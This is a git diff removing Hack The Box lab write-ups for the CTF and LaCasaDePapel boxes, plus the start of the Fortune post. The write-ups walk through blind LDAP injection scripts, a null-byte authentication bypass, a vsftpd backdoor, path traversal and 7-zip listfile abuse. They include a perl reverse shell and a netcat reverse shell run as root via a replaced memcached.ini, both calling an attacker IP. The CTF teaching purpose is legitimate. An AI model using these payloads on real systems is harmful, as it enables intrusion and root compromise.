-![](/assets/images/htb-writeup-ctf/mainpage.png) - -The main page has a link to a status page where I can see if any IP address is currently banned. - -![](/assets/images/htb-writeup-ctf/bannedips.png) - -And there's also a login page, which prompts for a username and a One Time Password (OTP) - -![](/assets/images/htb-writeup-ctf/loginpage.png) - -Based on the HTML comments of the page, I can see that the token stored on the server contains 81 digits: - -![](/assets/images/htb-writeup-ctf/loginpage_source.png) - -The token is not the password but rather the cryptographic material used to generate the one time passwords. A new password is generated at regular time interval. To generate a matching password, the client must: - -- Configure the token software with the same token information (81 digits) as the one on the server -- The time on the client machine must be the same (or close enough) as the server - -The server return an invalid user error message whenever I use an invalid user ID: - -![](/assets/images/htb-writeup-ctf/invaliduser.png) - -### Username enumeration - -To enumerate the users on the system, I use wfuzz with a wordlist. Luckily, the login page doesn't appear to be rate-limited so I can quickly scan through the wordlists. This part took a while though, I had to try various wordlists from seclists since my first picks didn't contain that user. - -``` -# wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=12345" -u http://ctf.htb/login.php - -000003: C=200 68 L 229 W 2810 Ch "!@#" -000004: C=200 68 L 229 W 2810 Ch "!@#%" -000005: C=200 68 L 229 W 2810 Ch "!@#%^" -000006: C=200 68 L 229 W 2810 Ch "!@#%^&" -000011: C=200 68 L 229 W 2810 Ch "*****" -000007: C=200 68 L 229 W 2810 Ch "!@#%^&*" -000066: C=200 68 L 229 W 2810 Ch "123456*a" -000008: C=200 68 L 229 W 2810 Ch "!@#%^&*(" -000009: C=200 68 L 229 W 2810 Ch "!@#%^&*()" -005122: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!" -005724: C=200 68 L 229 W 2810 Ch "*%�Cookie:" -009378: C=200 68 L 229 W 2810 Ch "!!Huawei" -011498: C=200 68 L 231 W 2822 Ch "ldapuser" <------ -[...] -``` - -Based on the wfuzz output, I notice that some of the characters seem to be blacklisted by the system. Whenever I use the following characters, the page doesn't return any message at all: `! & * () = \ | <> ~ ` - -The only valid user I found is: `ldapuser`. When I try that user on the login page, I get a `Cannot login` error message instead of `User not found`. - -![](/assets/images/htb-writeup-ctf/cannotlogin.png) - -### Testing for LDAP injection - -Now that I have the username, I can guess the next part involves LDAP injection. I can get around the blacklisting of the characters by using double URL encoding: `)` becomes `%2529` instead of `%29`. - -I made a quick script to test different payloads. The script URL encodes the payload twice (once with `urllib.quote` and the other one automatically with the `post` method). - -```python -#!/usr/bin/python - -import re -import requests -import urllib - -def main(): - while True: - cmd = raw_input("> ") - - data = { - "inputUsername": urllib.quote(cmd), - "inputOTP": "12345", - } - - proxy = {"http": "http://127.0.0.1:8080"} - - print("Payload: {}".format(data['inputUsername'])) - - r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy) - m = re.search(r'
\s+
\s+
\s+(.*)
', r.text) - if m: - try: - print(m.group(1)) - except IndexError: - print("Something weird happened") - -if __name__== "__main__": - main() -``` - -Test #1: Invalid username, no injection -``` -> invalid -Payload: invalid -User invalid not found -``` -Result: User is not found as expected. - -Test #2: Valid username, no injection -``` -> ldapuser -Payload: ldapuser -Cannot login -``` -Result: User is found but I get an error message because OTP is invalid. - -Test #3: Basic injection assuming a search filter like `(&(user) **rest of the query**` -``` -> ldapuser)(& -Payload: ldapuser%29%28%26 -Cannot login -``` -Result: I've successfully identified that LDAP injection is possible since the query returns a result - -Test #4: Injection with invalid query to test behaviour of the page when it errors out -``` -> ldapuser)(bad_ldap_search)))))((((( -Payload: ldapuser%29%28bad_ldap_search%29%29%29%29%29%28%28%28%28%28 - -``` -Result: I don't get anything back, the page basically refreshes when it gets an invalid query. This is what I saw earlier when fuzzing the page with invalid characters. The characters are not necessarily invalid but they resulted in an invalid LDAP search filter when I was fuzzing. - -Conclusion: This is a blind LDAP injection since the page doesn't return the results of the query in a field on the page or in an error message - -### LDAP injection to get the OTP token - -The first thing I did next was to try to find out which LDAP attributes are valid in the database. The list of common LDAP attributes is available on multiple websites, and we already have a hint from the HTML comments that the application uses a common LDAP attribute to store the token. - -I modified my script to run through the entire list of attributes and try a query resulting in: `(uid=*)(attribute_to_test=*)`. If the attribute exists, the query should return a result and I should get the `Cannot login` message. - -```python -#!/usr/bin/python - -import re -import requests -import time -import urllib - -def main(): - with open("attributes.txt") as f: - attributes = f.read().splitlines() - - for attribute in attributes: - - payload = "*)({}=*".format(attribute) - data = { - "inputUsername": urllib.quote(payload), - "inputOTP": "12345", - } - - proxy = {"http": "http://127.0.0.1:8080"} - - time.sleep(0.5) - r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy) - m = re.search(r'\s+
\s+
\s+(.*)
', r.text) - if m: - try: - if "Cannot login" in m.group(1): - print("Attribute {}: exists!".format(attribute)) - except IndexError: - print("Something weird happened") - -if __name__== "__main__": - main() -``` - -Results are shown here: -``` -# python ldapattributes.py -Attribute cn: exists! -Attribute gidNumber: exists! -Attribute homeDirectory: exists! -Attribute loginShell: exists! -Attribute mail: exists! -Attribute pager: exists! -Attribute shadowLastChange: exists! -Attribute shadowMax: exists! -Attribute shadowMin: exists! -Attribute shadowWarning: exists! -Attribute sn: exists! -Attribute uid: exists! -Attribute uidNumber: exists! -Attribute userPassword: exists! -``` - -So now that I have a list of valid attributes, I can iterate through a character set using the same boolean blind technique to get the values of each attribute. - -More bad python code below: -```python -#!/usr/bin/python - -import re -import requests -import sys -import time -import urllib - -charset = "abcdefghijklmnopqrstuvwxyz" -charset += "ABCDEFGHIJKLMNOPQRSTUVWXYZ" -charset += "0123456789_-" - -def main(): - - with open("valid_attributes.txt") as f: - attributes = f.read().splitlines() - - for attribute in attributes: - - ldapfield = "" - - while True: - for c in charset: - keep_going = False - payload = "*)({}={}".format(attribute, ldapfield + c + "*") - - data = { - "inputUsername": urllib.quote(payload), - "inputOTP": "12345", - } - - proxy = {"http": "http://127.0.0.1:8080"} - - time.sleep(0.5) - r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy) - m = re.search(r'\s+
\s+
\s+(.*)
', r.text) - if m: - try: - if "Cannot login" in m.group(1): - ldapfield = ldapfield + c - keep_going = True - break - except IndexError: - print("Something weird happened") - exit(1) - if keep_going == False: - # Charset rolled over, we're done here - print("LDAP attribute {} = {}".format(attribute, ldapfield)) - ldapfield = "" - break - -if __name__== "__main__": - main() -``` - -Dumping takes a long time because of the sleep timer I added so I don't get blocked: -``` -# python ldapdump.py -LDAP attribute cn = ldapuser -LDAP attribute gidNumber = -LDAP attribute homeDirectory = -LDAP attribute loginShell = -LDAP attribute mail = ldapuser@ctf.htb -LDAP attribute pager = 285449490011357156531651545652335570713167411445727140604172141456711102716717000 -``` - -At last, I found the OTP token: `285449490011357156531651545652335570713167411445727140604172141456711102716717000` - -I can use [stoken](https://github.com/cernekee/stoken) to generate OTPs. I just need to import the token first: -``` -# stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 -Enter new password: -Confirm new password: -``` - -I can now generate OTPs: -``` -root@ragingunicorn:~# stoken -Enter PIN: -PIN must be 4-8 digits. Use '0000' for no PIN. -Enter PIN: -43589231 -``` - -Note: The server time must match the one of my machine otherwise the password won't be valid. Normally in real life this shouldn't be a problem because both client and server are normally synched to an NTP source. Because this is HTB and the boxes don't have internet access, there's a clock drift of several minutes so I had to adjust the time on my machine to match the one from the box. I used the following cURL request to get the time from the server: - -``` -# curl -s --stderr - -v 10.10.10.122 | grep Date -< Date: Tue, 05 Feb 2019 02:00:29 GMT -``` - -So I can now log in using `ldapuser` and a generated token. I get redirected to `/page.php` after successfully logging in. - -![](/assets/images/htb-writeup-ctf/cmdpage.png) - -However when I try to send a command, I get an error message about not being part of the right group: - -![](/assets/images/htb-writeup-ctf/cmdpage_fail.png) - -### LDAP injection to get access to the command execution page - -What I need to do now is trick the server into letting me log in as `ldapuser` but also skip whatever group membership check is done on `page.php`. - -Assuming the LDAP query is something like: `(&(uid=user)(|(gid=root)(gid=adm))(token=*))`, it seems impossible to inject the query in a way that'll make the query valid and also skip the last part of the query. What I can do however is use a NULL character in the username so I can terminate the LDAP query wherever I want. - -I modifed my earlier script to add an extra NULL byte at the end (URL encoded): -```python -data = { - "inputUsername": urllib.quote(cmd)+'%00', - "inputOTP": "12345", - } -``` - -I just need to find how many parentheses are required to close the query: -``` -# python ldapinject.py -> ldapuser) -ldapuser%29%00 - -> ldapuser)) -ldapuser%29%29%00 - -> ldapuser))) -ldapuser%29%29%29%00 -Cannot login -``` - -That last query was valid. What I do next is modify the script a little more so I can send a valid login request with the correct OTP: -```python -data = { - "inputUsername": urllib.quote(cmd)+'%00', - "inputOTP": str(sys.argv[1]), - } -``` - -I recompiled `cli.c` in the stoken source code to use a hardcoded PIN of `0000` so I can pipe the token directly with user input. Yes I know you can pass a parameter to specify the PIN but I found out after, haha. - -```c -if (get_pin && securid_pin_required(t) && (!strlen(t->pin) || opt_pin)) { - xstrncpy(t->pin, "0000", 4); -} -``` - -This make using the injection script a bit easier: -``` -# ./stoken -14780441 - -# python ldapinject.py $(./stoken) -> ldapuser))) -ldapuser%29%29%29%00 -Login ok -{'Content-Length': '2818', 'X-Powered-By': 'PHP/5.4.16', 'Set-Cookie': 'PHPSESSID=urdd46i8obcnkkso4glf66cic1; path=/', 'Expires': 'Thu, 19 Nov 1981 08:52:00 GMT', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16', 'Connection': 'Keep-Alive', 'Location': '/page.php', 'Pragma': 'no-cache', 'Cache-Control': 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', 'Date': 'Tue, 05 Feb 2019 02:20:43 GMT', 'Content-Type': 'text/html; charset=UTF-8'} -``` - -It seems I got a valid login and a session cookie, let's put that in Firefox and see if I can issue commands on `page.php`: - -![](/assets/images/htb-writeup-ctf/cmdpage_success.png) - -Nice, I got RCE now. - -### Getting a shell - -I can easily get a shell with a standard perl reverse shell payload: - -`perl -e 'use Socket;$i="10.10.14.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.122] 34436 -sh: no job control in this shell -sh-4.2$ id -id -uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 -``` - -I don't have a lot of privileges though. I'll have to escalate to another user before I can find `user.txt`: -``` -sh-4.2$ cd /home -cd /home -sh-4.2$ ls -ls -ls: cannot open directory .: Permission denied -``` - -I can read source files from the PHP application and find the password for ldapuser: -``` -sh-4.2$ cat login.php - - /var/www/html/banned.txt -# awk '$1=$1' ORS='
' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt - -# some vars in order to be sure that backups are protected -now=$(date +"%s") -filename="backup.$now" -pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}') - -# keep only last 10 backups -cd /backup -ls -1t *.zip | tail -n +11 | xargs rm -f - -# get the files from the honeypot and backup 'em all -cd /var/www/html/uploads -7za a /backup/$filename.zip -t7z -snl -p$pass -- * - -# cleaup the honeypot -rm -rf -- * - -# comment the next line to get errors for debugging -truncate -s 0 /backup/error.log -``` - -When I look at the 7za man page, I see that there is a @listfiles argument I can pass at the end: - -`7za [... ] [... ] [<@listfiles>... ]` - ->You can supply one or more filenames or wildcards for special list files (files containing lists of files). The filenames in such list file must be separated by new line symbol(s). -> ->For list files, 7-Zip uses UTF-8 encoding by default. You can change encoding using -scs switch. -> ->Multiple list files are supported. -> ->For example, if the file "listfile.txt" contains the following: -> -> My programs\*.cpp -> Src\*.cpp ->then the command -> -> 7z a -tzip archive.zip @listfile.txt ->adds to the archive "archive.zip" all "*.cpp" files from directories "My programs" and "Src". - - -So by placing a file starting with an `@` character in the uploads folder, the 7-zip archiver will attempt to read a list of file to compress from the file name specified after the @ sign. By referencing a symlink to root.txt instead of a file containing filenames, 7-zip tries to read the flag and I can see it in the error log file. - -``` -drwxrwxrwx. 2 apache apache 31 Feb 5 21:21 . -drwxr-xr-x. 6 root root 176 Oct 23 22:14 .. -lrwxrwxrwx. 1 ldapuser ldapuser 14 Feb 5 21:21 test -> /root/root.txt --rw-rw-r--. 1 ldapuser ldapuser 0 Feb 5 21:21 @test -``` - -After a minute, the script executes, gets the file to read from `@test` and then ... -``` -lapuser@ctf backup]$ tail -f error.log - - -Command Line Error: -Cannot find listfile -listfile.txt -tail: error.log: file truncated - -WARNING: No more files -fd6d2e... -``` \ No newline at end of file diff --git a/_posts/2019-07-27-htb-writeup-lacasa.md b/_posts/2019-07-27-htb-writeup-lacasa.md deleted file mode 100644 index 33fdf386a9..0000000000 --- a/_posts/2019-07-27-htb-writeup-lacasa.md +++ /dev/null @@ -1,423 +0,0 @@ ---- -layout: single -title: LaCasaDePapel - Hack The Box -excerpt: "I had trouble with the OTP token on this box: I never figured out why but whenever I scanned the QR code with my Google Authenticator app it would always generate an invalid token. Using a Firefox add-on I was able to properly generate the token to get access to the page. As a nice twist, the login shell was changed to psysh so I couldn't use the vsftpd exploit to get a full shell on the box. LaCasaDePapel has some typical HTB elements: scavenger hunt for SSH keys, base64 encoding and a cronjob running as root for final priv esc." -date: 2019-07-27 -classes: wide -header: - teaser: /assets/images/htb-writeup-lacasa/lacasa_logo.png -categories: - - hackthebox - - infosec -tags: - - otp - - vsftpd - - cronjob - - openssl - - certificates - - ssh - - ssh rsa auth - - php - - psysh - - nodejs ---- - -![](/assets/images/htb-writeup-lacasa/lacasa_logo.png) - -I had trouble with the OTP token on this box: I never figured out why but whenever I scanned the QR code with my Google Authenticator app it would always generate an invalid token. Using a Firefox add-on I was able to properly generate the token to get access to the page. As a nice twist, the login shell was changed to psysh so I couldn't use the vsftpd exploit to get a full shell on the box. LaCasaDePapel has some typical HTB elements: scavenger hunt for SSH keys, base64 encoding and a cronjob running as root for final priv esc. - -## Summary - -- The main page requires an OTP token to log in, which we can generate using a Google Authenticator compatible app -- vsftpd contains a backdoor which allows us to get partial RCE through the psysh shell and read files -- We can scan the filesystem and find the CA key and an email with a link that let us login to the main webpage and download the CA certificate -- We can import both CA crt and CA key in Firefox and then log in to the HTTPS page -- The page contains the `?path` and `/file/` functions to list and read files (file's full path is base64 encoded) -- After reading `user.txt` , we can fetch the SSH private key for user `professor` and log in via SSH -- The professor's home directory is SGID and we can replace the `memcached.ini` which controls the parameters of a cronjob running as root -- We replace the `memcached.ini` file with our own file that spawns a reverse shell with netcat, gaining root access - -### Nmap - -``` -# nmap -sC -sV -F 10.10.10.131 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 01:32 EDT -Nmap scan report for lacasadepapel.htb (10.10.10.131) -Host is up (0.010s latency). -Not shown: 96 closed ports -PORT STATE SERVICE VERSION -21/tcp open ftp vsftpd 2.3.4 -22/tcp open ssh OpenSSH 7.9 (protocol 2.0) -| ssh-hostkey: -| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) -| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) -|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) -80/tcp open http Node.js (Express middleware) -|_http-title: La Casa De Papel -443/tcp open ssl/http Node.js Express framework -| http-auth: -| HTTP/1.1 401 Unauthorized\x0D -|_ Server returned status 401 but no WWW-Authenticate header. -| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel -| Not valid before: 2019-01-27T08:35:30 -|_Not valid after: 2029-01-24T08:35:30 -Service Info: OS: Unix -``` - -### FTP enumeration - -FTP anonymous access is not allowed on the FTP server - -``` -# ftp 10.10.10.131 -Connected to 10.10.10.131. -220 (vsFTPd 2.3.4) -Name (10.10.10.131:root): anonymous -331 Please specify the password. -Password: -530 Login incorrect. -Login failed. -``` - -### HTTP enumeration Port 80 - -The web page on port 80 contains a login form asking for an OTP token. There's a link to the Google Authenticator application. - -![](/assets/images/htb-writeup-lacasa/http_01.png) - -For some reason I had problems with the Google Auth app on my phone and the token I got was always invalid. So instead I used the [Firefox Authenticator Add-On](https://addons.mozilla.org/en-US/firefox/addon/auth-helper/) instead. I'll just enter the token manually in the add-on then generate a token. The token is captured from the link in the QR code image. - -![](/assets/images/htb-writeup-lacasa/http_03.png) - -![](/assets/images/htb-writeup-lacasa/http_04.png) - -![](/assets/images/htb-writeup-lacasa/http_02.png) - -I can re-use the same token for multiple requests as long as I send the same secret. - -For example: `secret=MFFHCQSUOZ3XMTLMJFBS6TS2FJGEO4BQ&token=072534&email=test%40test.com` will work everytime. - -### HTTP enumeration Port 443 - -The page on port 443 requires a client certificate which I don't have yet. - -![](/assets/images/htb-writeup-lacasa/https_01.png) - -### vsftpd exploit - -The vsftpd version running on this box is vulnerable and there is already a Metasploit module for it: - -![](/assets/images/htb-writeup-lacasa/vsftpd.png) - -I ran the Metasploit module but didn't get a session back. - -![](/assets/images/htb-writeup-lacasa/metasploit.png) - -I ran the exploit again and got a message that the port was already open. So the exploit worked and opened port 6200 but Metasploit didn't detect a shell listening. - -![](/assets/images/htb-writeup-lacasa/metasploit2.png) - -Ok, here's why, bash is not listening on port 6200 but rather psysh, some kind of PHP shell cli. - -``` -# nc -nv 10.10.10.131 6200 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Connected to 10.10.10.131:6200. -Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman -``` - -![](/assets/images/htb-writeup-lacasa/psysh.png) - -I can't run `system` or any other commands that'll give me a shell, as those are specifically blacklisted in the `disable_functions` parameter of the `php.ini` configuration file but I can use the `scandir` and `readfile` functions to poke at the filesystem. - -``` -scandir('/home'); -=> [ - ".", - "..", - "berlin", - "dali", - "nairobi", - "oslo", - "professor", - ] -scandir('/home/berlin'); -=> [ - ".", - "..", - ".ash_history", - ".ssh", - "downloads", - "node_modules", - "server.js", - "user.txt", - ] -scandir('/home/dali'); -=> [ - ".", - "..", - ".ash_history", - ".config", - ".qmail-default", - ".ssh", - "server.js", - ] -scandir('/home/nairobi'); -=> [ - ".", - "..", - "ca.key", - "download.jade", - "error.jade", - "index.jade", - "node_modules", - "server.js", - "static", - ] -dir('/home/oslo'); -=> [ - ".", - "..", - "Maildir", - "inbox.jade", - "index.jade", - "node_modules", - "package-lock.json", - "server.js", - "static", - ] -scandir('/home/nairobi'); -=> [ - ".", - "..", - "ca.key", - "download.jade", - "error.jade", - "index.jade", - "node_modules", - "server.js", - "static", - ] -``` - -In Oslo's mail directory I find an email that seemed to have been generated when I logged in with the OTP token on the main webpage. - -``` -scandir('/home/oslo/Maildir'); -=> [ - ".", - "..", - ".Sent", - ".Spam", - "cur", - "new", - "tmp", - ] -scandir('/home/oslo/Maildir/.Sent/cur'); -=> [ - ".", - "..", - "1553996613811.M45533P25345V0000000000064766I000000000bddc36.lacasadepapel.htb,S=430,2,S", - ] -readfile('/home/oslo/Maildir/.Sent/cur/1553996613811.M45533P25345V0000000000064766I000000000bddc36.lacasadepapel.htb,S=430,2,S'); -Content-Type: text/plain; format=flowed -From: dali@lacasadepapel.htb -Content-Transfer-Encoding: 7bit -Date: Sun, 31 Mar 2019 01:53:01 +0000 -Message-Id: <1553997181916-f1bee4c5-810b2c36-4f055080@lacasadepapel.htb> -MIME-Version: 1.0 - -Welcome to our community! -Thanks for signing up. To continue, please verify your email address by -clicking the url below. -https://lacasadepapel.htb/64fd1030-5356-11e9-ae89-233fa7c29f94 - -=> 430 -``` - -I also find the CA private key in Nairobi's home directory: - -``` -readfile('/home/nairobi/ca.key'); ------BEGIN PRIVATE KEY----- -MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb -7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/ -2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl -uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M -YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp -s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us -PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V -Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89 -1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ -/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+ -q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr -uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd -I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og -7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE -G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn -sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH -CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y -sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI -ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2 -zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/ -ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC -9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M -WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM -7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR -aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc -53udBEzjt3WPqYGkkDknVhjD ------END PRIVATE KEY----- -=> 1704 -``` - -Following the link from the email, I get to the following page: - -![](/assets/images/htb-writeup-lacasa/https_02.png) - -There's a link to an online CSR generator and also a link to the CA certificate file: - -``` ------BEGIN CERTIFICATE----- -MIIC6jCCAdICCQDISiE8M6B29jANBgkqhkiG9w0BAQsFADA3MRowGAYDVQQDDBFs -YWNhc2FkZXBhcGVsLmh0YjEZMBcGA1UECgwQTGEgQ2FzYSBEZSBQYXBlbDAeFw0x -OTAxMjcwODM1MzBaFw0yOTAxMjQwODM1MzBaMDcxGjAYBgNVBAMMEWxhY2FzYWRl -cGFwZWwuaHRiMRkwFwYDVQQKDBBMYSBDYXNhIERlIFBhcGVsMIIBIjANBgkqhkiG -9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/5vJpuaxJF3A5q2rV -QJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e8DR9ksBQYyXqOZZ8 -/rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsOhl4+KB4cM4hNhE5B -4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVzmhlHVypqsfS9rKUV -ESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55ZD66vQBSkN2PwBeiR -PBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wMZwIDAQABMA0GCSqG -SIb3DQEBCwUAA4IBAQCuo8yzORz4pby9tF1CK/4cZKDYcGT/wpa1v6lmD5CPuS+C -hXXBjK0gPRAPhpF95DO7ilyJbfIc2xIRh1cgX6L0ui/SyxaKHgmEE8ewQea/eKu6 -vmgh3JkChYqvVwk7HRWaSaFzOiWMKUU8mB/7L95+mNU7DVVUYB9vaPSqxqfX6ywx -BoJEm7yf7QlJTH3FSzfew1pgMyPxx0cAb5ctjQTLbUj1rcE9PgcSki/j9WyJltkI -EqSngyuJEu3qYGoM0O5gtX13jszgJP+dA3vZ1wqFjKlWs2l89pb/hwRR2raqDwli -MgnURkjwvR1kalXCvx9cST6nCkxF2TxlmRpyNXy4 ------END CERTIFICATE----- -``` - -I can convert both cert and key into a PKCS12 certificate and import it in Firefox. - -``` -# openssl pkcs12 -export -out certificate.pfx -inkey ca.key -in ca.crt -certfile ca.crt -Enter Export Password: -Verifying - Enter Export Password: -``` - -![](/assets/images/htb-writeup-lacasa/certmanager.png) - -![](/assets/images/htb-writeup-lacasa/cert.png) - -I now have access to the HTTPS web page, where I can browse and download files. - -![](/assets/images/htb-writeup-lacasa/privatearea.png) - -`SEASON-1
  • SEASON-2` - -![](/assets/images/htb-writeup-lacasa/file.png) - -![](/assets/images/htb-writeup-lacasa/cyberchef.png) - -Ok, so the full path of the file read is encoded as base64. Let's try reading `/etc/passwd`: - -![](/assets/images/htb-writeup-lacasa/cyberchef2.png) - -![](/assets/images/htb-writeup-lacasa/etcpasswd.png) - -My attempt failed but I saw that the path was inside `/home/berlin/downloads`. To read `/etc/passwd` I just used a relative path by adding a couple of `../` before the path. - -![](/assets/images/htb-writeup-lacasa/failed.png) - -![](/assets/images/htb-writeup-lacasa/etcpasswd2.png) - -Ok, nice I can now read `/etc/passwd`. Let's try reading the `user.txt` flag in berlin's home directory - -![](/assets/images/htb-writeup-lacasa/user.png) - -Nice, I have user's flag: `4dcbd172fc9c9ef2ff65c13448d9062d` - -### Getting a shell and priv esc - -Next I found some SSH private key in `/home/berlin/.ssh/`: - -![](/assets/images/htb-writeup-lacasa/ssh_keys_path.png) - -![](/assets/images/htb-writeup-lacasa/id_rsa2.png) - -After getting the key I tried using it with the obvious suspect, user `berlin` but it didn't work. However I was able to log in to user `professor`: - -![](/assets/images/htb-writeup-lacasa/ssh.png) - -Professor's home directory has interesting permissions, it has the SGID bit set. - -![](/assets/images/htb-writeup-lacasa/perms.png) - -I noticed that the process ID increments for `/home/professor/memcached.js` so I assume there is a cronjob running that process every few minutes. - -``` -lacasadepapel [~]$ ps -ef | grep node - 3265 dali 0:00 /usr/bin/node /home/dali/server.js - 3266 nobody 2:21 /usr/bin/node /home/oslo/server.js - 3267 berlin 0:00 /usr/bin/node /home/berlin/server.js - 3268 nobody 0:16 /usr/bin/node /home/nairobi/server.js -14133 nobody 0:21 /usr/bin/node /home/professor/memcached.js -14150 professo 0:00 grep node -[...] -lacasadepapel [~]$ ps -ef | grep node - 3265 dali 0:00 /usr/bin/node /home/dali/server.js - 3266 nobody 2:23 /usr/bin/node /home/oslo/server.js - 3267 berlin 0:00 /usr/bin/node /home/berlin/server.js - 3268 nobody 0:16 /usr/bin/node /home/nairobi/server.js -14203 nobody 0:16 /usr/bin/node /home/professor/memcached.js -14213 professo 0:00 grep node -``` - -`memcached.ini` contains the configuration of the process running. - -``` -lacasadepapel [~]$ cat memcached.ini -[program:memcached] -command = sudo -u nobody /usr/bin/node /home/professor/memcached.js -``` - -I can't change this file: - -``` -lacasadepapel [~]$ echo invalid > memcached.ini --ash: can't create memcached.ini: Permission denied -``` - -But I can delete it because of the SGID permission: - -``` -lacasadepapel [~]$ rm memcached.ini -rm: remove 'memcached.ini'? y -lacasadepapel [~]$ ls -memcached.js node_modules -``` - -Ok, so now I can just create a new file that'll spawn a reverse shell as root: - -``` -[program:memcached] -command = sudo /usr/bin/nc 10.10.14.23 4444 -e /bin/sh -``` - -Then wait a few minutes... Root shell! - -``` -# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.131. -Ncat: Connection from 10.10.10.131:43525. -id -uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) -cd /root -ls -root.txt -cat root.txt -586979.... -``` \ No newline at end of file diff --git a/_posts/2019-08-03-htb-writeup-fortune.md b/_posts/2019-08-03-htb-writeup-fortune.md deleted file mode 100644 index 397e0aa893..0000000000 --- a/_posts/2019-08-03-htb-writeup-fortune.md +++ /dev/null @@ -1,569 +0,0 @@ ---- -layout: single -title: Fortune - Hack The Box -excerpt: "In this box, I use a simple command injection on the web fortune application that allows me to find the Intermediate CA certificate and its private key. After importing the certificates in Firefox, I can authenticate to the HTTPS page and access a privileged page that generates an SSH private key. Next is SSH port forwarding to access an NFS share, upload my SSH public key to escalate to another user, then recover a pgadmin database which contains the DBA password which is also the root password. Cool box overall, but it should have been rated Hard instead of Insane." -date: 2019-08-03 -classes: wide -header: - teaser: 